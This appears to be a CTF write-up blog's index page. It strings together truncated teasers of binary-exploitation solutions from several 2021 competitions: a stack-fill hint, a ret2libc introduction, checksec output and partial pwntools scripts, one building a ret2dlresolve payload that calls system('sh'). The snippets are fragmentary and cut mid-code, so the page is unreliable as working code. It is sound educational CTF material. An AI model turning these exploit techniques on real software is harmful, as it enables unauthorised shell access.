Yash Vardhan Error-200

Deobfuscating / Unminifying Obfuscated Web App Code

TMUCTF-21

Warmup

just give lot's of 0x414141.........................

simply fill up the entire stack with some random bytes (!= 0)

Baby Pwn

HackINI CTF - 21

Crash.INI - 0x0

#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <stdlib.h>
#include

BCA CTF - 21

PWN SOLUTIONS

BCA MART

#include <stdio.h>
#include <stdlib.h>

Here's a LIBC

Ok so beforing going through the challenge from pico-21 , I want to say it's ez ret2libc attack which you can almost found in every CTF's but I want to make it as much as detailed for those who are learning for the first time you can see this video but pe patient and complete you will learn a lot.

So let's start whenever you get a binary first try to run it and analyse it's behaviour but in this case when i run the binary :

CYBER APOCALYPSE 2021

checksec

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

	from pwn import *

	binary = context.binary = ELF('./baby_bof')
	context.log_level = 'INFO'

	if not args.REMOTE:
	context.log_file = 'local.log'
	libc = binary.libc
	p = process(binary.path)
	else:

	#OhBabyBaby
	from pwn import *

	binary = context.binary = ELF('./ohbabybaby')
	p = remote('185.14.184.242',12990)
	#p = process(binary.path)
	p.sendline()
	p.sendline()

	y = p.recvuntil('Did you enjoy?').decode()

	from pwn import *

	binary = context.binary = ELF('./JIE')

	rop = ROP(binary)
	ret = rop.find_gadget(['ret'])[0]

	dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])

	rop.raw(ret)